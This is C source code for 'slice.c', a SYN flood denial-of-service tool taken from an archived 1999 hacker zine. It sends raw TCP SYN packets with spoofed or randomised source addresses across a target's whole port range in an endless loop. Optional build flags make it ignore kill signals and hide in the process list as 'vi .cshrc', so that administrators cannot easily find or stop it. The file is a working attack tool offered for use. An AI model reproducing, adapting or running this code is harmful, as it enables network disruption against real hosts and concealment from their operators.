Freaks Macintosh Archive/Freaks Macintosh Archive.bin/Freaks Macintosh Archives/Textfiles/zines/Happle/happle10.sit.hqx/Happle#10/Files/Denial.sit/DoS/slice.c

C/C++ Source or Header | 1999-01-06 | 9KB | 547 lines

/* slice.c v.1 by sinkhole, basically hacked synk4.c */

#include <signal.h>

#include <stdio.h>

#include <netdb.h>

#include <sys/types.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>

/* These can be handy if you want to run the flooder while the admin is on

 * this way, it makes it MUCH harder for him to kill your flooder */

/* Ignores all signals except Segfault */

// #define HEALTHY

/* Ignores Segfault */

// #define NOSEGV

/* Changes what shows up in ps -aux to whatever this is defined to */

// #define HIDDEN "vi .cshrc"

/*#define SEQ 0x*/

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))



unsigned long send_seq, ack_seq, srcport;

char flood = 0;

int sock, ssock, curc, cnt;



/* Check Sum */

unsigned short

ip_sum (addr, len)

u_short *addr;

int len;

{

        register int nleft = len;

        register u_short *w = addr;

        register int sum = 0;

        u_short answer = 0;



        while (nleft > 1)

          {

                  sum += *w++;

                  nleft -= 2;

          }

        if (nleft == 1)

          {

                  *(u_char *) (&answer) = *(u_char *) w;

                  sum += answer;

          }

        sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */

        sum += (sum >> 16);           /* add carry */

        answer = ~sum;                /* truncate to 16 bits */

        return (answer);

}

void sig_exit(int crap)

{

#ifndef HEALTHY

        printf("HSignal Caught. Exiting Cleanly.\n");

        exit(crap);

#endif

}

void sig_segv(int crap)

{

#ifndef NOSEGV

        printf("HSegmentation Violation Caught. Exiting Cleanly.\n");

        exit(crap);

#endif

}



unsigned long getaddr(char *name) {

        struct hostent *hep;



        hep=gethostbyname(name);

        if(!hep) {

                fprintf(stderr, "Unknown host %s\n", name);

                exit(1);

        }

        return *(unsigned long *)hep->h_addr;

}





void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {

        char buf[65536];

        struct {  /* rfc 793 tcp pseudo-header */

                unsigned long saddr, daddr;

                char mbz;

                char ptcl;

                unsigned short tcpl;

        } ph;



        struct sockaddr_in sin; /* how necessary is this, given that the destination

                                 address is already in the ip header? */



        ph.saddr=ih->saddr;

        ph.daddr=ih->daddr;

        ph.mbz=0;

        ph.ptcl=IPPROTO_TCP;

        ph.tcpl=htons(sizeof(*th)+dlen);



        memcpy(buf, &ph, sizeof(ph));

        memcpy(buf+sizeof(ph), th, sizeof(*th));

        memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);

        memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);

        th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);



        memcpy(buf, ih, 4*ih->ihl);

        memcpy(buf+4*ih->ihl, th, sizeof(*th));

        memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);

        memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);



        ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);

        memcpy(buf, ih, 4*ih->ihl);



        sin.sin_family=AF_INET;

        sin.sin_port=th->dest;

        sin.sin_addr.s_addr=ih->daddr;



        if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {

                printf("Error sending syn packet.\n"); perror("");

                exit(1);

        }

}



unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {

        int i, s, c, nignog;

        struct iphdr ih;

        struct tcphdr th;

        struct sockaddr_in sin;

        int sinsize;

        unsigned short myport=6969;

        char buf[1];

        struct timeval tv;

        srandom(time(NULL));

        ih.version=4;

        ih.ihl=5;

        ih.tos=0;                       /* XXX is this normal? */

        ih.tot_len=sizeof(ih)+sizeof(th);

        ih.id=htons(random());

        ih.frag_off=0;

        ih.ttl=255;

        ih.protocol=IPPROTO_TCP;

        ih.check=0;

        ih.saddr=my_ip;

        ih.daddr=their_ip;

        th.source=htons(srcport);

        th.dest=htons(port);

        th.seq=htonl(random());

        th.doff=sizeof(th)/4;

        th.ack_seq=(random());

        th.res1=0;

        th.fin=0;

        th.syn=1;

        th.rst=0;

        th.psh=0;

        th.ack=0;

        th.urg=0;

        th.res2=0;

        th.window=htons(65534);

        th.check=0;

        th.urg_ptr=(random());

        gettimeofday(&tv, 0);



        send_tcp_segment(&ih, &th, "", 0);



        send_seq = th.seq+1+strlen(buf);

}

void init_signals()

{

        // Every Signal known to man. If one gives you an error, comment it out!

        signal(SIGHUP, sig_exit);

        signal(SIGINT, sig_exit);

        signal(SIGQUIT, sig_exit);

        signal(SIGILL, sig_exit);

        signal(SIGTRAP, sig_exit);

        signal(SIGIOT, sig_exit);

        signal(SIGBUS, sig_exit);

        signal(SIGFPE, sig_exit);

        signal(SIGKILL, sig_exit);

        signal(SIGUSR1, sig_exit);

        signal(SIGSEGV, sig_segv);

        signal(SIGUSR2, sig_exit);

        signal(SIGPIPE, sig_exit);

        signal(SIGALRM, sig_exit);

        signal(SIGTERM, sig_exit);

        signal(SIGCHLD, sig_exit);

        signal(SIGCONT, sig_exit);

        signal(SIGSTOP, sig_exit);

        signal(SIGTSTP, sig_exit);

        signal(SIGTTIN, sig_exit);

        signal(SIGTTOU, sig_exit);

        signal(SIGURG, sig_exit);

        signal(SIGXCPU, sig_exit);

        signal(SIGXFSZ, sig_exit);

        signal(SIGVTALRM, sig_exit);

        signal(SIGPROF, sig_exit);

        signal(SIGWINCH, sig_exit);

        signal(SIGIO, sig_exit);

        signal(SIGPWR, sig_exit);

}

main(int argc, char **argv) {

   int i, x, max, floodloop, diff, urip, a, b, c, d, clones, klone;

   unsigned long them, me_fake;

   unsigned lowport, highport;

   char buf[1024], *junk;



   init_signals();

#ifdef HIDDEN

   for (i = argc-1; i >= 0; i--)

     /* Some people like bzero...i prefer memset :) */

     memset(argv[i], 0, strlen(argv[i]));

   strcpy(argv[0], HIDDEN);

#endif



   if((argc<6) || (atoi(argv[5]) <= 0)) {

      printf("### slice.c v.1 by sinkhole ###\n");

      printf("Usage: %s srcaddr dstaddr low high clones\n", argv[0]);

      printf("     srcaddr - the spoof, if it is 0 it will be random\n");

      printf("     dstaddr - the target of the attack\n");

      printf("     low     - start port, ex: 1\n");

      printf("     high    - end port, ex: 65535\n");

      printf("     clones  - number of packets to send at once\n\n");

      printf("### Remember, image is nothing, bandwidth is everything! ###\n");

      exit(1);

   }

   if( atoi(argv[1]) == 0 )

     urip = 1;

   else

     me_fake=getaddr(argv[1]);

   them=getaddr(argv[2]);

   lowport=atoi(argv[3]);

   highport=atoi(argv[4]);

   clones=atoi(argv[5]);

   srandom(time(0));

   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

   if(ssock<0) {

      perror("socket (raw)");

      exit(1);

   }

   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

   if(sock<0) {

      perror("socket");

      exit(1);

   }

   junk = (char *)malloc(1024);

   max = 1500;

   i = 1;

   diff = (highport - lowport);



   if (diff > -1)

     {

        for (i=1;i>0;i++)

          {

             srandom((time(0)+i));

             srcport = getrandom(1, max)+1000;

             for (x=lowport;x<=highport;x++)

               {

                  if ( urip == 1 )

                    {

                       a = getrandom(0, 255);

                       b = getrandom(0, 255);

                       c = getrandom(0, 255);

                       d = getrandom(0, 255);

                       sprintf(junk, "%i.%i.%i.%i", a, b, c, d);

                       me_fake = getaddr(junk);

                    }

                  for (klone=1;klone<=clones;klone++)

                    {

                        spoof_open(me_fake, them, x);

                    }

               }

          }

     }

   else {

      printf("High port must be greater than Low port.\n");

      exit(1);

   }

}